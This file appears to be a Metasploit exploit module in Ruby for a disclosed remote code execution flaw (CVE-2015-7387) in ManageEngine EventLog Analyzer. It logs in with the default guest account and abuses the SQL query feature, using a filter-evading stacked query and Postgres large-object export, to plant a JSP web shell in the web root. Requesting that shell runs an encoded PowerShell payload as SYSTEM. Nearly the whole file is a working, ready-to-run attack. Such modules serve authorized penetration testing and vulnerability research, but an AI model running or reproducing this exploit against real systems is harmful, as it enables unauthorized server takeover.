221 lines
7.1 KiB
Ruby
221 lines
7.1 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ManualRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Exploit::Powershell
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'ManageEngine EventLog Analyzer Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits a SQL query functionality in ManageEngine EventLog Analyzer v10.6
|
|
build 10060 and previous versions. Every authenticated user, including the default "guest"
|
|
account can execute SQL queries directly on the underlying Postgres database server. The
|
|
queries are executed as the "postgres" user which has full privileges and thus is able to
|
|
write files to disk. This way a JSP payload can be uploaded and executed with SYSTEM
|
|
privileges on the web server. This module has been tested successfully on ManageEngine
|
|
EventLog Analyzer 10.0 (build 10003) over Windows 7 SP1.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
['EDB', '38173'],
|
|
['CVE', '2015-7387'],
|
|
['URL', 'http://seclists.org/fulldisclosure/2015/Sep/59']
|
|
],
|
|
'Platform' => ['win'],
|
|
'Arch' => ARCH_X86,
|
|
'Targets' =>
|
|
[
|
|
['ManageEngine EventLog Analyzer 10.0 (build 10003) / Windows 7 SP1', {}]
|
|
],
|
|
'Privileged' => true,
|
|
'DisclosureDate' => 'Jul 11 2015',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8400),
|
|
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'guest' ]),
|
|
OptString.new('PASSWORD', [ true, 'The password to authenticate as', 'guest' ])
|
|
], self.class)
|
|
end
|
|
|
|
def uri
|
|
target_uri.path
|
|
end
|
|
|
|
|
|
def check
|
|
# Check version
|
|
vprint_status("Trying to detect ManageEngine EventLog Analyzer")
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, 'event', 'index3.do')
|
|
})
|
|
|
|
if res && res.code == 200 && res.body && res.body.include?('ManageEngine EventLog Analyzer')
|
|
return Exploit::CheckCode::Detected
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def sql_query(cookies, query)
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(uri, 'event', 'runQuery.do'),
|
|
'cookie' => cookies,
|
|
'vars_post' => {
|
|
'execute' => 'true',
|
|
'query' => query,
|
|
}
|
|
})
|
|
|
|
unless res && res.code == 200
|
|
fail_with(Failure::Unknown, "#{peer} - Failed executing SQL query!")
|
|
end
|
|
|
|
res
|
|
end
|
|
|
|
|
|
def generate_jsp_payload(cmd)
|
|
|
|
decoder = rand_text_alpha(4 + rand(32 - 4))
|
|
decoded_bytes = rand_text_alpha(4 + rand(32 - 4))
|
|
cmd_array = rand_text_alpha(4 + rand(32 - 4))
|
|
jsp_code = '<%'
|
|
jsp_code << "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
|
|
jsp_code << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
|
|
jsp_code << "String [] #{cmd_array} = new String[3];\n"
|
|
jsp_code << "#{cmd_array}[0] = \"cmd.exe\";\n"
|
|
jsp_code << "#{cmd_array}[1] = \"/c\";\n"
|
|
jsp_code << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
|
|
jsp_code << "Runtime.getRuntime().exec(#{cmd_array});\n"
|
|
jsp_code << '%>'
|
|
|
|
jsp_code
|
|
end
|
|
|
|
|
|
def exploit
|
|
|
|
print_status("Retrieving JSESSION ID")
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, 'event', 'index3.do'),
|
|
})
|
|
|
|
if res && res.code == 200 && res.get_cookies =~ /JSESSIONID=(\w+);/
|
|
jsessionid = $1
|
|
print_status("JSESSION ID Retrieved [ #{jsessionid} ]")
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - Unable to retrieve JSESSION ID!")
|
|
end
|
|
|
|
print_status("Access login page")
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(uri, 'event', "j_security_check;jsessionid=#{jsessionid}"),
|
|
'vars_post' => {
|
|
'forChecking' => 'null',
|
|
'j_username' => datastore['USERNAME'],
|
|
'j_password' => datastore['PASSWORD'],
|
|
'domains' => "Local Authentication\r\n",
|
|
'loginButton' => 'Login',
|
|
'optionValue' => 'hide'
|
|
}
|
|
})
|
|
|
|
if res && res.code == 302
|
|
redirect = URI(res.headers['Location'])
|
|
print_status("Location is [ #{redirect} ]")
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - Access to login page failed!")
|
|
end
|
|
|
|
|
|
# Follow redirection process
|
|
print_status("Following redirection")
|
|
res = send_request_cgi({
|
|
'uri' => "#{redirect}",
|
|
'method' => 'GET'
|
|
})
|
|
|
|
if res && res.code == 200 && res.get_cookies =~ /JSESSIONID/
|
|
cookies = res.get_cookies
|
|
print_status("Logged in, new cookies retrieved [#{cookies}]")
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - Redirect failed, unable to login with provided credentials!")
|
|
end
|
|
|
|
|
|
jsp_name = rand_text_alphanumeric(4 + rand(32 - 4)) + '.jsp'
|
|
|
|
cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
|
jsp_payload = Rex::Text.encode_base64(generate_jsp_payload(cmd)).gsub(/\n/, '')
|
|
|
|
|
|
print_status("Executing SQL queries")
|
|
|
|
# Remove large object in database, just in case it exists from previous exploit attempts
|
|
sql = 'SELECT lo_unlink(-1)'
|
|
result = sql_query(cookies, sql)
|
|
|
|
# Create large object "-1". We use "-1" so we will not accidently overwrite large objects in use by other tasks.
|
|
sql = 'SELECT lo_create(-1)'
|
|
result = sql_query(cookies, sql)
|
|
if result.body =~ /menuItemRow\">([0-9]+)/
|
|
loid = $1
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - Postgres Large Object ID not found!")
|
|
end
|
|
|
|
select_random = rand_text_numeric(2 + rand(6 - 2))
|
|
# Insert JSP payload into the pg_largeobject table. We have to use "SELECT" first to to bypass OpManager's checks for queries starting with INSERT/UPDATE/DELETE, etc.
|
|
sql = "SELECT #{select_random};INSERT INTO/**/pg_largeobject/**/(loid,pageno,data)/**/VALUES(#{loid}, 0, DECODE('#{jsp_payload}', 'base64'));--"
|
|
|
|
|
|
result = sql_query(cookies, sql)
|
|
|
|
# Export our large object id data into a WAR file
|
|
sql = "SELECT lo_export(#{loid}, '..//..//webapps//event/#{jsp_name}');"
|
|
|
|
sql_query(cookies, sql)
|
|
|
|
# Remove our large object in the database
|
|
sql = 'SELECT lo_unlink(-1)'
|
|
result = sql_query(cookies, sql)
|
|
|
|
register_file_for_cleanup("..\\webapps\\event\\#{jsp_name}")
|
|
|
|
print_status("Executing JSP payload")
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, jsp_name),
|
|
})
|
|
|
|
# If the server returns 200 we assume we uploaded and executed the payload file successfully
|
|
unless res && res.code == 200
|
|
print_status("#{res.code}\n#{res.body}")
|
|
fail_with(Failure::Unknown, "#{peer} - Payload not executed, aborting!")
|
|
end
|
|
|
|
end
|
|
|
|
end
|